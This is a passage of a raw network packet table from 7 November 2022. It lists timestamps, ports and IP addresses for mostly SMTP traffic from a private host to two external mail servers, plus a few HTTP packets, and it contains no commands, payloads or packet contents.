Nov 7, 2022 22:24:23.929461956 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929497004 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929511070 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929526091 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929538965 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929572105 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929584980 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929616928 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929672003 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929686069 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929697990 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929709911 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929764032 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929799080 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929884911 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.930068016 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.930083036 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.930095911 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932626009 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932645082 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932657003 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932667017 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932681084 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932693958 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932706118 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.932718039 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.951606035 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.951646090 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.962462902 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962487936 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962515116 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962527990 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962538958 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962552071 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962564945 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962632895 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962646961 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962660074 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962702990 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962716103 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962785006 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962862968 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962979078 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.962992907 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963037968 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963051081 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963113070 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963126898 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963140965 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963155031 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963196039 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963208914 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963221073 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963232994 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963247061 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963259935 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963273048 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963300943 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963313103 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963403940 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963418961 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963434935 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963453054 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963471889 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963489056 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963506937 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963525057 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963542938 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963561058 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963578939 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963598013 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963617086 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963634014 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963653088 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963671923 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963690996 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963710070 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963728905 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963747025 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963802099 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963821888 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963840008 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963856936 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963875055 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963913918 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963927984 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963942051 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.963954926 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964025021 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964078903 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964092016 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964103937 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964117050 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964129925 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964142084 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964154959 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964169025 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964181900 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964200974 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964217901 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964235067 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964422941 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964446068 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964462996 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964481115 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964513063 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964528084 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964541912 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964555025 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964569092 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964582920 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964596033 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964607954 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964620113 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964632034 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964643002 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964656115 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964668036 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964679956 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964693069 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964705944 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964719057 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964730978 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964745045 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964756966 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964770079 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964782953 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964797020 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964812040 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964823961 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964860916 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964874029 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.964951992 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.993310928 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:24.005204916 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.005659103 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.005842924 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.006375074 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.010413885 CET	49729	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:24.010484934 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.010529041 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.048724890 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.069082022 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.070132971 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.070235968 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.102427006 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102469921 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102493048 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102514029 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102538109 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102559090 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102581024 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102602005 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102608919 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.102622986 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102644920 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.102694035 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.102720022 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.102720022 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.121923923 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:24.124639988 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156249046 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156294107 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156312943 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156327963 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156346083 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156363964 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156379938 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156379938 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156379938 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156380892 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156397104 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156413078 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156429052 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156445026 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156486034 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156486988 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156529903 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156533003 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156529903 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156529903 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156548977 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156567097 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156583071 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156599998 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156599998 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156615973 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156626940 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156632900 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156688929 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156708002 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156724930 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.156759977 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156759977 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.156806946 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.183820009 CET	80	49729	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:24.183862925 CET	80	49729	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:24.183980942 CET	49729	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:24.209893942 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.209956884 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.209975958 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210026979 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210046053 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210059881 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210082054 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210136890 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210136890 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210175037 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210186958 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210205078 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210222006 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210238934 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210247040 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210305929 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210311890 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210350037 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210364103 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210366011 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210382938 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210400105 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210416079 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210417032 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210433960 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210438013 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210450888 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210467100 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210485935 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210521936 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210541964 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210555077 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210572958 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210589886 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210607052 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210624933 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210629940 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210642099 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210659981 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210669041 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210685968 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210702896 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210704088 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210720062 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210736990 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210741043 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210753918 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210772038 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210772991 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210789919 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210805893 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210808039 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210836887 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210891962 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.210947037 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210966110 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210982084 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.210999012 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.211002111 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.211015940 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.211031914 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.211052895 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.211086988 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.211111069 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.252093077 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.263639927 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263669968 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263689995 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263708115 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263730049 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.263780117 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263781071 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.263781071 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.263837099 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.263855934 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263874054 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.263904095 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.263926983 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264138937 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264157057 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264198065 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264199972 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264231920 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264247894 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264278889 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264339924 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264374018 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264394045 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264410973 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264429092 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264440060 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264446020 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264481068 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264481068 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264492989 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264511108 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264512062 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264528990 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264545918 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264559031 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264585018 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264606953 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264611959 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264631033 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264648914 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264666080 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264678001 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264683008 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264722109 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264722109 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264729023 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264746904 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264759064 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264765024 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264782906 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264790058 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264801025 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264817953 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264818907 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264846087 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264862061 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264880896 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264882088 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264899969 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.264952898 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.264991999 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265125990 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265173912 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265192986 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265197992 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265211105 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265228033 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265234947 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265245914 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265264034 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265264988 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265280008 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265294075 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265297890 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265314102 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265331030 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265336990 CET	49724	25	192.168.2.5	142.250.150.26
